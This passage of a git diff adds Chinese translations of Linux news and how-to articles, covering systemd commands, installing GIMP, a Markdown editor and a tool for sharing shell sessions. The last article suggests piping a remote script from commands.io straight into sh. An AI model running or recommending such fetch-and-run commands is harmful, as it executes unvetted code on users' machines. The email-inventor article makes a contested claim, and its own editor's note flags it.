6.18 Mbits/s + Testing upload speed.............................................. + Upload: 0.35 Mbits/s + +文章由[Asapy Programming Company][5]发表 + +--- + +via: http://linuxaria.com/howto/linux-terminal-speedtest_cli-checks-your-real-bandwidth-speed + +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linuxaria.com/article/tool-command-line-bandwidth-linux +[2]:http://linuxaria.com/howto/speedtest.net +[3]:http://www.getdeb.net/ +[4]:http://archive.getdeb.net/install_deb/getdeb-repository_0.1-1~getdeb1_all.deb +[5]:http://www.asapy.com/ + diff --git a/published/201409/20140826 Linus Torvalds is my hero, says 13 year old Zachary DuPont.md b/published/201409/20140826 Linus Torvalds is my hero, says 13 year old Zachary DuPont.md new file mode 100644 index 0000000000..53e6416202 --- /dev/null +++ b/published/201409/20140826 Linus Torvalds is my hero, says 13 year old Zachary DuPont.md @@ -0,0 +1,45 @@ +“林纳斯·托瓦兹是我的英雄”13岁的扎卡里杜邦说 +================================================================================ + +Zachary DuPon是一名6年级的学生,他马上年满13岁。他过去是Arch liunx的用户,并期待着尽快安装Gentoo Linux。 + +Zachary DuPon的故事是这样的-他的学校组织了一个活动,要求学生们给他们的英雄写一封信,大多数孩子写给社会名流,而Zachary DuPon写给了现代科技世界的“真”英雄-林纳斯·托瓦兹。 + +由于林纳斯在家工作,他没有透露自己的办公地点,Zach的信送到了Linux基金会,工作人员会在发送给林纳斯之前浏览全部的信件内容。当基金会看到了这封信,他们联系了扎克的学校,慷慨地邀请他做客LinuxCon,这样他就能见到他的英雄本人。 + +linux的执行董事长Jim Zemlin在主题小组讨论过后,引领Zach来到人群中。Zach见到了林纳斯并得到了linux之父签名的《linux圣经》;他也得到了林纳斯签名自传[《只为了好玩:一次偶然的革命》][1] + +![Linus Torvalds signing a book for Zachary DuPont](http://www.themukt.com/wp-content/uploads/2014/08/Linus_torvalds_zach_1.jpg) +林纳斯·托瓦兹为扎克里杜邦签名 + +![The DuPont family](http://www.themukt.com/wp-content/uploads/2014/08/zachary_dupont_family.jpg) +扎克里杜邦一家 + +![Swapnil Bhartiya with Zachary DuPont](http://www.themukt.com/wp-content/uploads/2014/08/swapnil_zach.jpg) +本文作者 Swapnil Bhartiya和扎克里杜邦 + +我不想失去这个机会,所以他们和林纳斯交谈一结束,我就走向这个家庭,安排了这次视频采访。我是一个两岁孩子的父亲,而作为一名父亲,我着实对Zach自信、清晰,明确的思想所感到惊讶。 + +我提供给你这次视屏采访的细节 + +- 他使用Arch linux。 +- 他打算一旦他擅长编程就做出自己的贡献。 +- 他没有提交任何漏洞报告,并且他认为他应该这样做。他也表示他没有发现任何漏洞。 +- 他对WINE没太大的兴趣。 +- 他喜欢KDE的原始桌面,但是它在他的网关机器上工作不是很好。 +- 他是一个装有XFCE桌面环境的Debian GNU/linux用户。 + +林纳斯也许是扎克的英雄,但是扎克是整个GNU/linux和自由软件社区的英雄,他不断地提醒我们,未来尽在我们掌握中。 + +-------------------------------------------------------------------------------- + +via: http://www.themukt.com/2014/08/24/linus-torvalds-hero-says-13-years-old-zachary-dupont/ + +作者:[Swapnil Bhartiya][a] +译者:[luoyutiantang](https://github.com/luoyutiantang) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.themukt.com/author/swapnil_bhartiya/ +[1]:http://www.amazon.com/gp/product/0066620732/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0066620732&linkCode=as2&tag=muktware-20&linkId=HBKEBIFVZQC35GGK diff --git a/published/201409/20140828 GIMP 2.8.12 Released--Here' s How to Install it on Ubuntu.md b/published/201409/20140828 GIMP 2.8.12 Released--Here' s How to Install it on Ubuntu.md new file mode 100644 index 0000000000..16c638f99a --- /dev/null +++ b/published/201409/20140828 GIMP 2.8.12 Released--Here' s How to Install it on Ubuntu.md @@ -0,0 +1,45 @@ +GIMP 2.8.12 发布了,来看看如何在Ubuntu上安装 +================================================================================ +**GIMP是深受欢迎的开源Photoshop替代软件,它的[新版本][1]现在可以下载了。** + +![GIMP is a Free Photoshop Alternative](http://www.omgubuntu.co.uk/wp-content/uploads/2012/05/screen-shot-2012-05-03-at-10.38.40.jpg) +GIMP是一款免费的可替代Photoshop的软件 + +正如在GIMP 2.8.x 系列中的最新条目——[自2012年起开始发布][2]并着重介绍长期追求的“单窗口模式”——版本2.8.12并没有重新去做它而是继续改进。如其所说,软件并没有发现面向用户的新特点。 + +然而,开发人员修复了一批新的漏洞,旨在提高整体的稳定性,安全性以及这款著名软件的风格。 + +- 插件的笔刷大小不再变形。 +- .XCF 文件的加载更稳固。 +- 小部件的方向现在匹配界面语言(例如 RTL)。 +- script-fu-server 的安全性提高。 + +文档,帮助以及翻译的更新也包括在其中。想了解在版本 2.8.10 和 2.8.12 之间所有修复完整更改日志,可以看[GNOME Git日志][2]。 + +### 在Ubuntu上安装最新的GIMP ### + +最新发布的源代码可以从官方网站上或者从[官方种子文件][3]下载。 + +在Ubuntu上呢?在Ubuntu 12.04 和14.04 LTS 上你可以通过添加[以下第三方PPA][4]软件源来安装GIMP 2.8.12: + + sudo add-apt-repository ppa:otto-kesselgulasch/gimp + + sudo apt-get update && sudo apt-get install gimp + +在安装完成后,你可以从Unity Dash(或者类似途径)来启动GIMP 2.8.12。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/08/whats-new-in-gimp-2-8-12-plus-install-ubuntu + +作者:[Joey-Elijah Sneddon][a] +译者:[linuhap](https://github.com/linuhap) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2012/05/gimp-2-8-released +[2]:https://git.gnome.org/browse/gimp/plain/NEWS?h=gimp-2-8 +[3]:http://download.gimp.org/pub/gimp/v2.8/gimp-2.8.12.tar.bz2.torrent +[4]:https://launchpad.net/~otto-kesselgulasch/+archive/ubuntu/gimp diff --git a/published/201409/20140829 Linux Doesn't Need to Own the Desktop.md b/published/201409/20140829 Linux Doesn't Need to Own the Desktop.md new file mode 100644 index 0000000000..4011fefb74 --- /dev/null +++ b/published/201409/20140829 Linux Doesn't Need to Own the Desktop.md @@ -0,0 +1,32 @@ +Linux 应当放弃桌面 +================================================================================ +Linus Torvalds 前不久发布了 Linux 3.17 rc-2,这[偏离了他正常的发布时间表][1],因为8月25日是 Linux 的第23个生日。“Hello 大家好,你还在使用minix吗?”,23年前的8月25日,Torvalds 在 Linux 的第一次发布中这样写道。 + +与此同时,最近 PCMag.com 网站声称[Linux 的时间已经不多了][2]。但是你们不觉得这样没玩没了地讨论 Linux 在桌面端是否成功其实是毫无意义的吗?Linux 已经广泛应用于超级计算机和车载系统,它构建了 Android 的基础,同时还是最流行的云整合(例如 OpenStack)的运行平台 —— 以上这些还只是 Linux 的一部分成就。桌面并不是 Linux 唯一的战场。 + +Jon Buys 在他[最近的文章][3]中谈到了 Linux 专业化以及与桌面有关的内容: + +> “最近,IT业在追问‘[Linus 是否还在执著于 Linux 桌面?][4]’,来自 Teck Republic 的 Matt Asay 也在说‘[拜托不要再讨论 Linux 桌面了行吗?][5]’。这两篇文章都对 Linux 在个人计算机方面的发展空间持怀疑态度,还拿 Android 的成功故事来说事…… 但是它们都忽略了,Linux的灵活性以及它开源许可证的开放性,也许这两者正是拯救 Linux 桌面的关键。” + +也许这是事实,但是 Linux 对于如此众多的桌面用户来说,还是太多余了。Linux 分享庞大市场的最佳机会已经来也匆匆去也匆匆了。 + +事实其实很简单,Linux已经改变了世界,获得了无与伦比的成功 —— 除了桌面系统,这毋庸置疑。Android已经不仅仅是一个基于Linux的平台,它已经成为了一个伟大的标志。Linux在服务器端和嵌入式技术领域占有巨大的份额,同时也为平台整合方面不断提供创新动力。Ubuntu已经成为部署搭建 OpenStack 最流行的平台。全世界的超级计算机都运行着 Linux,Chrome OS 也是基于 Linux。 + +因此,Linux 正在不断推动着整个世界的巨变,批评家们是时候停下来执著于 Linux 在桌面端的状态了。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/linux-doesnt-need-to-own-the-desktop + +作者:[Sam Dean][a] +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ostatic.com/member/samdean +[1]:http://www.theregister.co.uk/2014/08/26/linux_turns_23_and_linus_torvalds_celebrates_as_only_he_can/ +[2]:http://www.pcmag.com/article2/0,2817,2465125,00.asp +[3]:http://ostatic.com/blog/specialization-and-the-linux-desktop +[4]:http://www.itworld.com/open-source/432816/does-it-still-make-sense-linus-want-desktop-linux +[5]:http://www.techrepublic.com/article/can-we-please-stop-talking-about-the-linux-desktop/ \ No newline at end of file diff --git a/published/201409/20140901 Awesome systemd Commands to Manage Linux System.md b/published/201409/20140901 Awesome systemd Commands to Manage Linux System.md new file mode 100644 index 0000000000..770fb09c1d --- /dev/null +++ b/published/201409/20140901 Awesome systemd Commands to Manage Linux System.md @@ -0,0 +1,290 @@ +真的超赞!用systemd命令来管理linux系统! +================================================================================ + +Systemd是一种新的linux系统服务管理器。 + +它替换了init系统,能够管理系统的启动过程和一些系统服务,一旦启动起来,就将监管整个系统。在本文中,我们用的是[安装有 systemd 216 版本的centos 7.0][1],其最新版本[可以从 freedesktop.org 下载得到][2]。 + +因为linux操作系统里出现的这一个新人,PID 1被“systemd”占据了,这能通过**pstree**命令看到。 + + [root@linoxide ~]# pstree + +![](http://linoxide.com/wp-content/uploads/2014/08/01.systemd_pstree.png) + +那么现在让我们来探索systemd擅长什么,它又有多大的可能性成为sysVinit的新的替代品。 + +### 1. 更快启动 ### + +sysvinit一次一个串行地启动进程。 + +而Systemd则并行地启动系统服务进程,并且最初仅启动确实被依赖的那些服务,极大地减少了系统引导的时间。 + +你可以用下面的命令看到系统引导用时: + + [root@linoxide ~]# systemd-analyze + +![](http://linoxide.com/wp-content/uploads/2014/08/02.systemd_analyze.png) + +使用 **time** 参数也能够显示同样的内容。 + + [root@linoxide ~]# systemd-analyze time + +![](http://linoxide.com/wp-content/uploads/2014/08/03.systemd_analyze2.png) + +如果你想以进程初始化所占用时间排序打印出所有正在运行的单元列表,那么**systemd-analyze**命令可以帮助你完成这个任务。 + + [root@linoxide ~]# systemd-analyze blame + +![](http://linoxide.com/wp-content/uploads/2014/08/04.systemd_blame.png) + +上面的截屏只显示了小部分进程,你可以就像less分页器那样用箭头滚动列表。 + +### 2. systemctl 命令 ### + +systemctl命令是自systemd出现以来被广泛讨论的命令。你可以通过这个命令管理你的整个系统,让我们通过探究这个命令来更进一步。 + +#### 2.1 列出单元 #### + +**systemctl**命令可以带上list-units,也可以什么选项都不带来列出所有正在运行的单元。 + + [root@linoxide ~]# systemctl + +或 + + [root@linoxide ~]# systemctl list-units + +![](http://linoxide.com/wp-content/uploads/2014/08/05.systemd_list_units.png) + +#### 2.2 列出失败的单元 #### + +运行失败的单元可以用带--failed选项的命令显示出来。 + + [root@linoxide ~]# systemctl --failed + +![](http://linoxide.com/wp-content/uploads/2014/08/06.systemd_failed.png) + +你可以在这篇文章很多地方看到systemctl的用法。 + +### 3. 管理服务 ### + +让我们来看看systemd是怎么管理系统服务的。 + +#### 3.1 激活的服务 #### + +所有被激活的服务可以同下面这条命令来查看。 + + [root@linoxide ~]# systemctl list-units -t service + +![](http://linoxide.com/wp-content/uploads/2014/08/07.systemd_active_services.png) + +#### 3.2 服务状态 #### + +在sysvinit中,我们可以用“**service**”命令来管理服务,但在systemd中,我们用systemctl这个命令。 +我们可以用下面这个命令来查看服务是否在运行。 + + [root@linoxide ~]# systemctl status dnsmasq + +![](http://linoxide.com/wp-content/uploads/2014/08/08.systemd_status.png) + +#### 3.3 启动一个服务 #### + +用下面这条命令来启动服务。 + + [root@linoxide ~]# systemctl start dnsmasq + +对应于**service**命令,这个命令不进行输出。但是毋庸置疑,我们可以通过再次查看这个刚刚被启动的服务的status(状态)来确认他是否被成功地启动了。 + +![](http://linoxide.com/wp-content/uploads/2014/08/09.systemd_start.png) + +#### 3.4 停止一个服务 #### + +现在聪明的你一定知道怎么在systemd下用命令来关闭服务了吧。 + + [root@linoxide ~]# systemctl stop dnsmasq + +![](http://linoxide.com/wp-content/uploads/2014/08/10.systemd_stop.png) + +#### 3.5 重启一个服务 #### + +类似的,重启系统服务是用‘**systemctl restart**’来管理的。 + + [root@linoxide ~]# systemctl restart dnsmasq + +![](http://linoxide.com/wp-content/uploads/2014/08/11.systemd_restart.png) + +#### 3.6 重新加载一个服务 #### + +在我们需要重新加载服务的配置文件又不想重启这个服务(例如ssh)时,我们可以用这个命令。 + + [root@linoxide ~]# systemctl reload sshd + +![](http://linoxide.com/wp-content/uploads/2014/08/12.systemd_reload.png) + +虽然上述几个命令的语法是可以工作的,但是官方文档建议我们用下面这种语法形式来运行命令(LCTT 译注,即使用在服务名后面跟上“.service”的完整名称): + + [root@linoxide ~]# systemctl status dnsmasq.service + +![](http://linoxide.com/wp-content/uploads/2014/08/13.systemd_alternate_syntax.png) + +### 4. 管理引导时的服务 ### + +**chkconfig**命令被用来管理系统引导时的服务。同样用systemd也可以管理引导时的系统服务。 + +#### 4.1 检查服务引导时是否运行 #### + +这条命令用来确定服务是否是引导时启动的。 + + [root@linoxide ~]# systemctl is-enabled dnsmasq.service + +![](http://linoxide.com/wp-content/uploads/2014/08/14.systemd_is_enabled.png) + +#### 4.2 让服务在引导时运行 #### + +**systemctl**命令是这样来enable(使之在引导时启动)一个服务的。(这相当于sysvinit中的‘**chkconfig on**’) + + [root@linoxide ~]# systemctl enable dnsmasq.service + +![](http://linoxide.com/wp-content/uploads/2014/08/15.systemd_enable.png) + +#### 4.3 取消服务在引导时运行 #### + +类似的,使服务不在引导时启动用这个命令。 + + [root@linoxide ~]# systemctl disable dnsmasq.service + +![](http://linoxide.com/wp-content/uploads/2014/08/16.systemd_disable.png) + +### 5. 管理远程系统 ### + +所有刚才提到的systemctl命令通常都能被用来管理远程主机,完成这个任务将用到**ssh**来进行通讯。你只需要像这样将远程主机和用户名添加到systemctl命令后。 + + [root@linoxide ~]# systemctl status sshd -H root@1.2.3.4 + +![](http://linoxide.com/wp-content/uploads/2014/08/17.systemd_remote.png) + +### 6. 管理目标 ### + +Systemd有一个完成与sysVinit的runlevels相似任务的构想。 + +sysVinit的runlevels大多是以数字分级的。这里是runlevers在systemd中的对应元素。 + +> 0 runlevel0.target, poweroff.target +> +> 1, s, single runlevel1.target, rescue.target +> +> 2, 4 runlevel2.target, runlevel4.target, multi-user.target +> +> 3 runlevel3.target, multi-user.target +> +> 5 runlevel5.target, graphical.target +> +> 6 runlevel6.target, reboot.target +> +> emergency emergency.target + +#### 6.1 改变当前目标 #### + +当前target可以用这个命令切换。 + + [root@linoxide ~]# systemctl isolate graphical.target + +![](http://linoxide.com/wp-content/uploads/2014/08/18.systemd_isolate.png) + +#### 6.2 列出当前目标 #### + +如果你想查看你正处于哪个target中,你需要列出相应的单元。虽然这样操作可能让你不太爽,但是这就是systemd工作的方式。 + + [root@linoxide ~]# systemctl list-units --type=target + +![](http://linoxide.com/wp-content/uploads/2014/08/19.systemd_targets.png) + +你可以看到“graphical.target”列在此处,这就是我们刚才切换到的目标。现在,让我们切换runlevel到multi-user.target,然后分析下列命令的输出。 + + [root@linoxide ~]# systemctl isolate multi-user.target + [root@linoxide ~]# systemctl list-units --type=target + +![](http://linoxide.com/wp-content/uploads/2014/08/20.systemd_multi-user.png) + +#### 6.3 列出默认目标 #### + +用这个systemctl命令来查看默认目标。 + + [root@linoxide ~]# systemctl get-default + +![](http://linoxide.com/wp-content/uploads/2014/08/21.systemd_get_default.png) + +#### 6.4 改变默认目标 #### + +通过systemctl的set-default命令可以将某个目标设置成默认目标。 + + [root@linoxide ~]# systemctl set-default graphical.target + +![](http://linoxide.com/wp-content/uploads/2014/08/22.systemd_set_default.png) + +### 7. 记录 systemd 的日志 ### + +journald是systemd独有的日志系统,替换了sysVinit中的syslog守护进程。命令**journalctl**用来读取日志。 + + [root@linoxide ~]# journalctl + +![](http://linoxide.com/wp-content/uploads/2014/08/23.systemd_logs.png) + +#### 7.1 查看引导信息 #### + +运行**journalctl -b**命令来查看所有引导日志。 + + [root@linoxide ~]# journalctl -b + +![](http://linoxide.com/wp-content/uploads/2014/08/24.systemd_boot.png) + +#### 7.2 即时显示引导日志 #### + +下面这个命令可以实时显示系统日志(类似**tail -f**)。 + + [root@linoxide ~]# journalctl -f + +![](http://linoxide.com/wp-content/uploads/2014/08/25.systemd_follow_logs.png) + +#### 7.3 查看特定服务的日志 #### + +你可以像这样运用**journalctl**来查看你只想看到的服务或可执行程序的日志。 + + [root@linoxide ~]# journalctl /usr/sbin/dnsmasq + +![](http://linoxide.com/wp-content/uploads/2014/08/26.systemd_specific.png) + +### 8. 电源管理 ### + +systemctl命令也可以用来关机,重启或者休眠。 + +要关机、重启、挂起和休眠,分别使用如下命令: + + [root@linoxide ~]# systemctl poweroff + + [root@linoxide ~]# systemctl reboot + + [root@linoxide ~]# systemctl suspend + + [root@linoxide ~]# systemctl hibernate + +### 9. 又及 ### + +**systemd**带来了一整套与操作系统交互的新途径,并且极具特色。举个栗子,你可以用hostnamectl命令来获得你的linux机器的hostname和其它有用的独特信息。 + + [root@linoxide ~]# hostnamectl + +![](http://linoxide.com/wp-content/uploads/2014/08/27.systemd_hostnamectl.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-systemd-commands/ + +作者:[Raghu][a] +译者:[szrlee](https://github.com/szrlee) +校对:[ wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/raghu/ +[1]:http://linoxide.com/linux-how-to/install-systemd-centos-redhat/ +[2]:http://www.freedesktop.org/software/systemd/ diff --git a/published/201409/20140901 Remarkable--A New MarkDown Editor For Linux.md b/published/201409/20140901 Remarkable--A New MarkDown Editor For Linux.md new file mode 100644 index 0000000000..25198752f6 --- /dev/null +++ b/published/201409/20140901 Remarkable--A New MarkDown Editor For Linux.md @@ -0,0 +1,55 @@ +Remarkable:Linux平台下一个新的MarkDown编辑器 +=== + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/08/remarkable-about.png) + +[Remarkable][1]是一个全新,免费,功能齐全的Linux发行版Markdown编辑器。它拥有许多特性,比如:在线预览,这让你的Markdown编辑变得更加容易。它是一个轻量级的编辑器,而且它还有一个简洁的用户界面(UI)。 + +下面是Remarkable的主要特性: + +- 实时预览 +- 支持Github Markdown 语法 +- 支持导出为PDF和HTML +- 自定义CSS +- 语法高亮 +- 高度可定制 +- 字数实时计数 +- 键盘快捷键 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/08/remarkable-full.png) + +你可以观看[这部YouTube视频][2](请自备梯子:-])了解Linux下的Remakable。 + +### 安装 ### + +根据不同的Linux发行版本,Remarkable拥有许多可供使用的安装源,下面是不同Linux发行版以及它们对应的安装文件 + +#### Ubuntu / Linux Mint: #### + +- [Dowbnload .DEB][3] + +#### Fedora: #### + +- [Download .RPM][4] + +#### Arch Linux (AUR): #### + + sudo yaourt -S remarkable + +喜欢吗? + +--- + +via: http://www.unixmen.com/remarkable-new-markdown-editor-linux/ + +作者:[Enock Seth Nyamador][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ +[1]:http://remarkableapp.net/ +[2]:https://www.youtube.com/watch?v=UpjAIcXti9s +[3]:http://remarkableapp.net/files/remarkable_0.965_all.deb +[4]:http://remarkableapp.net/files/remarkable-0.965.rpm diff --git a/published/201409/20140901 Ubuntu Wallpaper Contest Closes, These Are Our 8 Faves.md b/published/201409/20140901 Ubuntu Wallpaper Contest Closes, These Are Our 8 Faves.md new file mode 100644 index 0000000000..5363965014 --- /dev/null +++ b/published/201409/20140901 Ubuntu Wallpaper Contest Closes, These Are Our 8 Faves.md @@ -0,0 +1,72 @@ +Ubuntu壁纸大赛落幕,推荐八张我们喜欢的 +================================================================================ + +**盖上你的镜头,放下你的笔,拔掉手绘板的电源,从你的GIMP前离开,[Ubuntu 14.10 壁纸大赛][1] 现在结束了** + +为 Ubuntu 发行版的配套的一年两次的社区壁纸大赛总是会带来人们的激动、热情和争议的讨论。*太单调了!太亮了!植物在哪里? 你为什么没有猫??!!* —— 他们总是这样吵吵。 + +随着终结时间的到来。。好吧,这就是最后期限了,现在不再接收任何新的提交了。 + +在接下来的一周,为了评选出最喜爱的作品,会由上一年获胜的艺术家组成的评委会将会对每一个作品进行筛选。**获胜的壁纸将会在2014年9月9日宣布**. + +### 我们最喜爱的仅仅意味着:这是属于我们的。 ### + +我们从[大约400张][2]中搜罗了一些我们最喜爱的,如同以往,这是一个非常苦难的任务,如此多的杰作,但我们的磁盘空间却如此的小... + +**否认声明**:我们不属于评委会,我们也没有直接或间接影响评委会的决定。每个提交作品都会根据他们的价值进行判断和展示。 + +如果喜欢下列作品,你可以点击进入艺术家作者在Flickr上的主页 + +#### Glden leaves #### + +[![](https://farm6.staticflickr.com/5577/14919901295_ec1cdd13cb_c.jpg)][3] + +#### Reminiscent Rain #### + +[![](https://farm4.staticflickr.com/3888/14858973848_30124e2360_c.jpg)][4] + +#### Bamboo Mat #### + +[![](https://farm3.staticflickr.com/2940/14222953450_5a63b591ee_z.jpg)][5] + +#### LSC_0440 #### + +[![](https://farm4.staticflickr.com/3864/14698997457_ca5aba49c1_c.jpg)][6] + +#### Ubuntu Wallpaper #### + +[![](https://farm3.staticflickr.com/2933/14573905897_ae415fe00b_c.jpg)][7] + +#### Ubur #### + +[![](https://farm9.staticflickr.com/8044/8423532123_a739bbfb49_c.jpg)][8] + +#### Abstract #### + +[![](https://farm4.staticflickr.com/3875/14969203701_f9a318da6f_c.jpg)][9] + +#### 500 #### + +[![](https://farm4.staticflickr.com/3848/14660376638_bd26a4b2ab_c.jpg)][10] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/08/best-ubuntu-wallpaper-contest-entries-1410 + +作者:[Joey-Elijah Sneddon][a] +译者:[lfzark](https://github.com/lfzark) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/08/ubuntu-14-10-wallpaper-contest +[2]:https://www.flickr.com/groups/1410wallpapersubmissions/ +[3]:https://www.flickr.com/photos/mauro_campanelli/14919901295 +[4]:https://www.flickr.com/photos/fixem/14858973848 +[5]:https://www.flickr.com/photos/havaxinhua/14222953450 +[6]:https://www.flickr.com/photos/laurentschenkel/14698997457 +[7]:https://www.flickr.com/photos/57135082@N05/14573905897 +[8]:https://www.flickr.com/photos/anomalous_saga/8423532123 +[9]:https://www.flickr.com/photos/el_nando/14969203701 +[10]:https://www.flickr.com/photos/e4v/14660376638 diff --git a/published/201409/20140902 Happy Birthday Email.md b/published/201409/20140902 Happy Birthday Email.md new file mode 100644 index 0000000000..6d8256419a --- /dev/null +++ b/published/201409/20140902 Happy Birthday Email.md @@ -0,0 +1,25 @@ +他发明了 Email ? +================================================================================ +[编者按:本文所述的 Email 发明人的观点存在很大的争议,请读者留意,以我的观点来看,其更应该被称作为某个 Email 应用系统的发明人,其所发明的一些功能和特性,至今沿用。——wxy] + +**一个印度裔美国人用他天才的头脑发明了电子邮件,而从此以后我们没有哪一天可以离开电子邮件。** + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/photo/150x150xDbOx104130AM8312014.jpg.pagespeed.ic.QJJxt_P8uE.jpg) + +8月30日,电子邮件满32岁了。现在让我们一起熟悉一下这个快捷迅速的信息传递方式是怎么诞生的。这要感谢以为印度裔美国人,Shiva Ayyadurai。Shiva开发了一个全功能的办公室间邮件系统软件并命名为email。 + +在1982年8月30日,他被美国政府正式承认作为这个电脑程序的发明者。Shiva生于孟买的一个泰米尔家庭,发明email系统的时候只有14岁。当时他还在新泽西的利文斯顿高中学习,并开始为新泽西牙科和医科大学开发这个系统。email系统被授予版权,因为当时还没有其他方式被用来保护软件发明。 + +Ayyadurai从日常办公室之间的内部邮件往来方式里找到email系统的点子。他尝试复制普遍用来传送办公室之间邮件的‘气动管道系统’。这个系统使用了一个物理的管道网络来传送打印好的邮件给秘书。每一位秘书都有收件箱,发件箱,草稿箱,复写纸,文件夹,地址本,别针,或是附件等等。所有这些都用作建立和处理接收和发送邮件。 + +Shiva也记下了一些常用的模板,像“发给”,“来自”,“主题”,“日期”,“正文”,“抄送”,“密送”等等。所有这些模版也都被纳入电子邮件的版本中。电子邮件系统是用FORTRAN编程语言写的,Shiva发明了一个同样系统的电子版本。因为这件非凡的作品,Shiva获得了无数嘉奖,也赢得了1981年度高中毕业生的西屋科学天才奖。如今,由史密森学会美国历史国家博物馆持有“Email”的正式美国版权。但是,也有争论说不是Ayyadurai而是其他什么人发明了email。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=147170 + +作者:Sanchari Banerjee +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201409/20140902 How to share on linux the output of your shell commands.md b/published/201409/20140902 How to share on linux the output of your shell commands.md new file mode 100644 index 0000000000..f077f36895 --- /dev/null +++ b/published/201409/20140902 How to share on linux the output of your shell commands.md @@ -0,0 +1,111 @@ +如何在linux上分享你shell命令的输出 +================================================================================ +前段时间我发布了一篇关于[shelr.tv][1]这个网站的文章,它提供一个服务允许你从网站上直接分享你的[终端][2]记录。 + +现在shelr.tv这个网站似乎关闭了,然后我四处寻找是否有类似的网站,于是我发现了[commands.com][3]。 + +从它的主页上来看,它的服务和其他网站提供的服务是类似的,因此让我们来测试它。 + +### 步骤 1 – 在网站上注册 ### + +只需要[注册][4]一个新的 用户名/密码,或者直接使用你的github账户快速登录。 + +### 步骤 2 – 下载安装monitor程序 ### + +[Monitor][5]是一个命令行工具,它能捕获命令行的输入输出并且发送到commands.com网站上,这个程序是开源的,并托管在github上。 + +Monitor使得仓库的设置/安装变得更简单。通过它,你能方便地向人们展示最常见的错误与命令的输出。 + +简而言之,你能方便地和世界分享你的命令及其输出。 + +通过如下简单几步来安装它: + +1) 克隆github上的这个项目的仓库,这样你能获得最新的源代码。 + +要完成这步,你需要在系统中已经安装了git命令,如果你得到关于这个命令的报错信息,你可以使用包管理工具来安装它,例如: + +基于Debian的发布版: + + apt-get install git + +Redhat/Centos/Fedora发布版: + + yum install git + +现在从终端克隆这个仓库: + + git clone https://github.com/dtannen/monitor.git + +2) 安装readline和curl,这些库是通过源码构建程序的先决条件: + +基于Debian的发布版: + + apt-get install libreadline-dev libcurl4-openssl-dev + +Redhat/Centos/Fedora发布版: + + yum install readline-devel curl-devel + +3) 构建程序: + +要完成这步,你必须进入刚刚用git克隆的目录,然后编译这个c程序: + + cd monitor + make + sudo make install + +默认安装将把二进制文件放入/usr/local/bin目录下。 + +![](http://cdn.linuxaria.com/wp-content/uploads/2014/08/commands.png) + +### 步骤 3 – 使用monitor命令### + +monitor命令特别简单易用: + + monitor {-d} {-h} {-u } + + -d : 不删除/tmp下的文件 + -h : 帮助 + -u : commands.com用户名 + +要退出monitor程序,需要按ctrl-c。 + +对我来说这仅仅意味着打开一个终端然后执行这些命令: + + riccio@mint-desktop ~ $ monitor -u ricciocri + Password: + + Successfully logged in... + AuthKey saved to /tmp/.riccio.commands.com. Delete file to return to Anonymous posting. + monitor$ cd /tmp + ... + +想知道在这之后我使用过的哪个命令吗?我已经把这个会话公开(默认是私有),因此你可以去这个url查看:[https://commands.com/JTNSHRLQJA][6] + +在这里,你能看我已经使用过的命令以及它们的输出,一个有趣的选项是“fold/expand”你可以折叠(fold)所有的命令的输出或者仅仅展开(expand)你喜欢的那个命令的输出。 + +### 总结 ### + +这只是一个简单的安装指南,在这个网站上你能参加更多“社会化”的活动,比如评论脚本/shell会话,派生它们或者选择你的最爱。 + +和github一样,你能派生任何一个公开的脚本/命令并能直接在网站上改变它,然后你也能得到一个公开(或私有)的url。你可以直接运行你脚本,就像这样: + + curl commands.io/JTNSHRLQJA | sh + +在网络上储存一些你在电脑/服务器上经常使用到的脚本,这是极好的,通常不要放置任何密码或敏感信息,这样你的信息才足够安全。 + +-------------------------------------------------------------------------------- + +via: http://linuxaria.com/article/how-to-share-on-linux-the-output-of-your-shell-commands + +译者:[guodongxiaren](https://github.com/guodongxiaren) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linuxaria.com/recensioni/shelr-broadcast-your-linux-shell-on-the-net +[2]:http://linuxaria.com/tag/shell +[3]:https://commands.com/ +[4]:https://commands.com/Register/Index +[5]:https://github.com/dtannen/monitor 